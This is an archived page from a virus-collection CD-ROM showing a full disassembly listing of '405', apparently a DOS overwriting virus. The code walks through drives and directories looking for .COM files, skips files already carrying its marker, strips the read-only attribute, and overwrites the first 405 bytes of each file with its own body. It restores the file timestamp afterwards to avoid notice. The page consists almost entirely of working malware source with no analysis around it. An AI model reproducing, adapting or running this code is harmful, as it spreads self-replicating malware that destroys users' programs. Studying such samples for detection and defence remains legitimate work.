home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / 405.ASM < prev    next >
Assembly Source File  |  1991-04-14  |  10KB  |  233 lines

  1.       405.lst                         Sourcer Listing v2.24    22-Jun-91   7:31 pm   Page 1
  2.  
  3.   
  4.                 PAGE  59,132
  5.   
  6.                 ;██████████████████████████████████████████████████████████████████████████
  7.                 ;██                                         ██
  8.                 ;██                    405                         ██
  9.                 ;██                                         ██
  10.                 ;██      Created:   9-Feb-91                             ██
  11.                 ;██      Version:                                 ██
  12.                 ;██      Passes:    5           Analysis Options on: HQRS             ██
  13.                 ;██                                         ██
  14.                 ;██                                         ██
  15.                 ;██████████████████████████████████████████████████████████████████████████
  16.   
  17.      = 0295            data_6e        equ    295h            ; (733F:0295=0)
  18.      = E000            data_7e        equ    0E000h            ; (733F:E000=0)
  19.      = E195            data_9e        equ    0E195h            ; (733F:E195=0)
  20.   
  21.                 seg_a        segment    byte public
  22.                         assume    cs:seg_a, ds:seg_a
  23.   
  24.   
  25.                         org    100h
  26.   
  27.                 405        proc    far
  28.   
  29. 733F:0100            start:
  30. 733F:0100  96                    xchg    ax,si
  31. 733F:0101  00 00                add    [bx+si],al
  32. 733F:0103  9E                    sahf                ; Store ah into flags
  33. 733F:0104  00 00                add    [bx+si],al
  34. 733F:0106  90                    nop
  35. 733F:0107  B8 0000                mov    ax,0
  36. 733F:010A  26: A2 0249                mov    es:data_1,al        ; (733F:0249=2)
  37. 733F:010E  26: A2 024B                mov    es:data_3,al        ; (733F:024B=54h)
  38. 733F:0112  26: A2 028B                mov    es:data_5,al        ; (733F:028B=0Dh)
  39. 733F:0116  50                    push    ax
  40. 733F:0117  B4 19                mov    ah,19h
  41. 733F:0119  CD 21                int    21h            ; DOS Services  ah=function 19h
  42.                                         ;  get default drive al  (0=a:)
  43. 733F:011B  26: A2 0249                mov    es:data_1,al        ; (733F:0249=2)
  44. 733F:011F  B4 47                mov    ah,47h            ; 'G'
  45. 733F:0121  04 01                add    al,1
  46. 733F:0123  50                    push    ax
  47. 733F:0124  8A D0                mov    dl,al
  48. 733F:0126  8D 36 024B                lea    si,cs:[24Bh]        ; Load effective addr
  49. 733F:012A  CD 21                int    21h            ; DOS Services  ah=function 47h
  50.                                         ;  get present dir,drive dl,1=a:
  51. 733F:012C  58                    pop    ax
  52. 733F:012D  B4 0E                mov    ah,0Eh
  53. 733F:012F  2C 01                sub    al,1
  54. 733F:0131  8A D0                mov    dl,al
  55. 733F:0133  CD 21                int    21h            ; DOS Services  ah=function 0Eh
  56.                                         ;  set default drive dl  (0=a:)
  57. 733F:0135  26: A2 028B                mov    es:data_5,al        ; (733F:028B=0Dh)
  58. 733F:0139            loc_1:                        ;  xref 733F:019C
  59. 733F:0139  26: A0 0249                mov    al,es:data_1        ; (733F:0249=2)
  60.      405.lst                         Sourcer Listing v2.24    22-Jun-91   7:31 pm   Page 2
  61.  
  62. 733F:013D  3C 00                cmp    al,0
  63. 733F:013F  75 11                jne    loc_2            ; Jump if not equal
  64. 733F:0141  B4 0E                mov    ah,0Eh
  65. 733F:0143  B2 02                mov    dl,2
  66. 733F:0145  CD 21                int    21h            ; DOS Services  ah=function 0Eh
  67.                                         ;  set default drive dl  (0=a:)
  68. 733F:0147  B4 19                mov    ah,19h
  69. 733F:0149  CD 21                int    21h            ; DOS Services  ah=function 19h
  70.                                         ;  get default drive al  (0=a:)
  71. 733F:014B  26: A2 024A                mov    es:data_2,al        ; (733F:024A=0)
  72. 733F:014F  EB 28                jmp    short loc_4        ; (0179)
  73. 733F:0151  90                    db    90h
  74. 733F:0152            loc_2:                        ;  xref 733F:013F
  75. 733F:0152  3C 01                cmp    al,1
  76. 733F:0154  75 11                jne    loc_3            ; Jump if not equal
  77. 733F:0156  B4 0E                mov    ah,0Eh
  78. 733F:0158  B2 02                mov    dl,2
  79. 733F:015A  CD 21                int    21h            ; DOS Services  ah=function 0Eh
  80.                                         ;  set default drive dl  (0=a:)
  81. 733F:015C  B4 19                mov    ah,19h
  82. 733F:015E  CD 21                int    21h            ; DOS Services  ah=function 19h
  83.                                         ;  get default drive al  (0=a:)
  84. 733F:0160  26: A2 024A                mov    es:data_2,al        ; (733F:024A=0)
  85. 733F:0164  EB 13                jmp    short loc_4        ; (0179)
  86. 733F:0166  90                    db    90h
  87. 733F:0167            loc_3:                        ;  xref 733F:0154
  88. 733F:0167  3C 02                cmp    al,2
  89. 733F:0169  75 0E                jne    loc_4            ; Jump if not equal
  90. 733F:016B  B4 0E                mov    ah,0Eh
  91. 733F:016D  B2 00                mov    dl,0
  92. 733F:016F  CD 21                int    21h            ; DOS Services  ah=function 0Eh
  93.                                         ;  set default drive dl  (0=a:)
  94. 733F:0171  B4 19                mov    ah,19h
  95. 733F:0173  CD 21                int    21h            ; DOS Services  ah=function 19h
  96.                                         ;  get default drive al  (0=a:)
  97. 733F:0175  26: A2 024A                mov    es:data_2,al        ; (733F:024A=0)
  98. 733F:0179            loc_4:                        ;  xref 733F:014F, 0164, 0169, 019E
  99. 733F:0179  B4 4E                mov    ah,4Eh            ; 'N'
  100. 733F:017B  B9 0001                mov    cx,1
  101. 733F:017E  8D 16 028C                lea    dx,cs:[28Ch]        ; Load effective addr
  102. 733F:0182  CD 21                int    21h            ; DOS Services  ah=function 4Eh
  103.                                         ;  find 1st filenam match @ds:dx
  104. 733F:0184  72 03                jc    loc_5            ; Jump if carry Set
  105. 733F:0186  EB 21                jmp    short loc_7        ; (01A9)
  106. 733F:0188  90                    db    90h
  107. 733F:0189            loc_5:                        ;  xref 733F:0184, 01A4
  108. 733F:0189  B4 3B                mov    ah,3Bh            ; ';'
  109. 733F:018B  8D 16 0297                lea    dx,cs:[297h]        ; Load effective addr
  110. 733F:018F  CD 21                int    21h            ; DOS Services  ah=function 3Bh
  111.                                         ;  set current dir, path @ ds:dx
  112. 733F:0191  B4 4E                mov    ah,4Eh            ; 'N'
  113. 733F:0193  B9 0011                mov    cx,11h
  114. 733F:0196  8D 16 0292                lea    dx,cs:[292h]        ; Load effective addr
  115. 733F:019A  CD 21                int    21h            ; DOS Services  ah=function 4Eh
  116.                                         ;  find 1st filenam match @ds:dx
  117. 733F:019C  72 9B                jc    loc_1            ; Jump if carry Set
  118. 733F:019E  EB D9                jmp    short loc_4        ; (0179)
  119.      405.lst                         Sourcer Listing v2.24    22-Jun-91   7:31 pm   Page 3
  120.  
  121. 733F:01A0            loc_6:                        ;  xref 733F:01CD
  122. 733F:01A0  B4 4F                mov    ah,4Fh            ; 'O'
  123. 733F:01A2  CD 21                int    21h            ; DOS Services  ah=function 4Fh
  124.                                         ;  find next filename match
  125. 733F:01A4  72 E3                jc    loc_5            ; Jump if carry Set
  126. 733F:01A6  EB 01                jmp    short loc_7        ; (01A9)
  127. 733F:01A8  90                    db    90h
  128. 733F:01A9            loc_7:                        ;  xref 733F:0186, 01A6
  129. 733F:01A9  B4 3D                mov    ah,3Dh            ; '='
  130. 733F:01AB  B0 02                mov    al,2
  131. 733F:01AD  BA 009E                mov    dx,9Eh
  132. 733F:01B0  CD 21                int    21h            ; DOS Services  ah=function 3Dh
  133.                                         ;  open file, al=mode,name@ds:dx
  134. 733F:01B2  8B D8                mov    bx,ax
  135. 733F:01B4  B4 3F                mov    ah,3Fh            ; '?'
  136. 733F:01B6  B9 0195                mov    cx,195h
  137. 733F:01B9  90                    nop
  138. 733F:01BA  BA E000                mov    dx,0E000h
  139. 733F:01BD  90                    nop
  140. 733F:01BE  CD 21                int    21h            ; DOS Services  ah=function 3Fh
  141.                                         ;  read file, cx=bytes, to ds:dx
  142. 733F:01C0  B4 3E                mov    ah,3Eh            ; '>'
  143. 733F:01C2  CD 21                int    21h            ; DOS Services  ah=function 3Eh
  144.                                         ;  close file, bx=file handle
  145. 733F:01C4  26: 8B 1E E000            mov    bx,es:data_7e        ; (733F:E000=0)
  146. 733F:01C9  81 FB 9600                cmp    bx,9600h
  147. 733F:01CD  74 D1                je    loc_6            ; Jump if equal
  148. 733F:01CF  B4 43                mov    ah,43h            ; 'C'
  149. 733F:01D1  B0 00                mov    al,0
  150. 733F:01D3  BA 009E                mov    dx,9Eh
  151. 733F:01D6  CD 21                int    21h            ; DOS Services  ah=function 43h
  152.                                         ;  get/set file attrb, nam@ds:dx
  153. 733F:01D8  B4 43                mov    ah,43h            ; 'C'
  154. 733F:01DA  B0 01                mov    al,1
  155. 733F:01DC  81 E1 00FE                and    cx,0FEh
  156. 733F:01E0  CD 21                int    21h            ; DOS Services  ah=function 43h
  157.                                         ;  get/set file attrb, nam@ds:dx
  158. 733F:01E2  B4 3D                mov    ah,3Dh            ; '='
  159. 733F:01E4  B0 02                mov    al,2
  160. 733F:01E6  BA 009E                mov    dx,9Eh
  161. 733F:01E9  CD 21                int    21h            ; DOS Services  ah=function 3Dh
  162.                                         ;  open file, al=mode,name@ds:dx
  163. 733F:01EB  8B D8                mov    bx,ax
  164. 733F:01ED  B4 57                mov    ah,57h            ; 'W'
  165. 733F:01EF  B0 00                mov    al,0
  166. 733F:01F1  CD 21                int    21h            ; DOS Services  ah=function 57h
  167.                                         ;  get/set file date & time
  168. 733F:01F3  51                    push    cx
  169. 733F:01F4  52                    push    dx
  170. 733F:01F5  2E: 8B 16 0295            mov    dx,cs:data_6e        ; (733F:0295=0)
  171. 733F:01FA  2E: 89 16 E195            mov    cs:data_9e,dx        ; (733F:E195=0)
  172. 733F:01FF  2E: 8B 16 E001            mov    dx,word ptr cs:data_7e+1    ; (733F:E001=0)
  173. 733F:0204  8D 0E 0194                lea    cx,cs:[194h]        ; Load effective addr
  174. 733F:0208  2B D1                sub    dx,cx
  175. 733F:020A  2E: 89 16 0295            mov    cs:data_6e,dx        ; (733F:0295=0)
  176. 733F:020F  B4 40                mov    ah,40h            ; '@'
  177. 733F:0211  B9 0195                mov    cx,195h
  178.      405.lst                         Sourcer Listing v2.24    22-Jun-91   7:31 pm   Page 4
  179.  
  180. 733F:0214  90                    nop
  181. 733F:0215  8D 16 0100                lea    dx,cs:[100h]        ; Load effective addr
  182. 733F:0219  CD 21                int    21h            ; DOS Services  ah=function 40h
  183.                                         ;  write file cx=bytes, to ds:dx
  184. 733F:021B  B4 57                mov    ah,57h            ; 'W'
  185. 733F:021D  B0 01                mov    al,1
  186. 733F:021F  5A                    pop    dx
  187. 733F:0220  59                    pop    cx
  188. 733F:0221  CD 21                int    21h            ; DOS Services  ah=function 57h
  189.                                         ;  get/set file date & time
  190. 733F:0223  B4 3E                mov    ah,3Eh            ; '>'
  191. 733F:0225  CD 21                int    21h            ; DOS Services  ah=function 3Eh
  192.                                         ;  close file, bx=file handle
  193. 733F:0227  2E: 8B 16 E195            mov    dx,cs:data_9e        ; (733F:E195=0)
  194. 733F:022C  2E: 89 16 0295            mov    cs:data_6e,dx        ; (733F:0295=0)
  195. 733F:0231  EB 01                jmp    short $+3h        ; delay for I/O
  196. 733F:0233  90                    nop
  197. 733F:0234  B4 0E                mov    ah,0Eh
  198. 733F:0236  2E: 8A 16 0249            mov    dl,cs:data_1        ; (733F:0249=2)
  199. 733F:023B  CD 21                int    21h            ; DOS Services  ah=function 0Eh
  200.                                         ;  set default drive dl  (0=a:)
  201. 733F:023D  B4 3B                mov    ah,3Bh            ; ';'
  202. 733F:023F  8D 16 024A                lea    dx,cs:[24Ah]        ; Load effective addr
  203. 733F:0243  CD 21                int    21h            ; DOS Services  ah=function 3Bh
  204.                                         ;  set current dir, path @ ds:dx
  205. 733F:0245  B4 00                mov    ah,0
  206. 733F:0247  CD 21                int    21h            ; DOS Services  ah=function 00h
  207.                                         ;  terminate, cs=progm seg prefx
  208. 733F:0249  02            data_1        db    2            ;  xref 733F:010B, 011C, 013A, 0237
  209. 733F:024A  00            data_2        db    0            ;  xref 733F:014C, 0161, 0176
  210. 733F:024B  54            data_3        db    54h            ;  xref 733F:010F
  211. 733F:024C  45 53 54                db    45h, 53h, 54h
  212. 733F:024F  003C[00]                db    60 dup (0)
  213. 733F:028B  0D            data_5        db    0Dh            ;  xref 733F:0113, 0136
  214. 733F:028C  2A 2E 43 4F 4D 00            db    2Ah, 2Eh, 43h, 4Fh, 4Dh, 0
  215. 733F:0292  2A 00 E9                db    2Ah, 0, 0E9h
  216.   
  217.                 405        endp
  218.   
  219.                 seg_a        ends
  220.   
  221.   
  222.   
  223.                         end    start
  224.      405.lst                         Sourcer Listing v2.24    22-Jun-91   7:31 pm   Page 5
  225.  
  226.   
  227.                 ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒ CROSS REFERENCE - KEY ENTRY POINTS ▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
  228.   
  229.                     seg:off    type       label
  230.                    ---- ----   ----   ---------------
  231.                    733F:0100   far    start
  232.   
  233.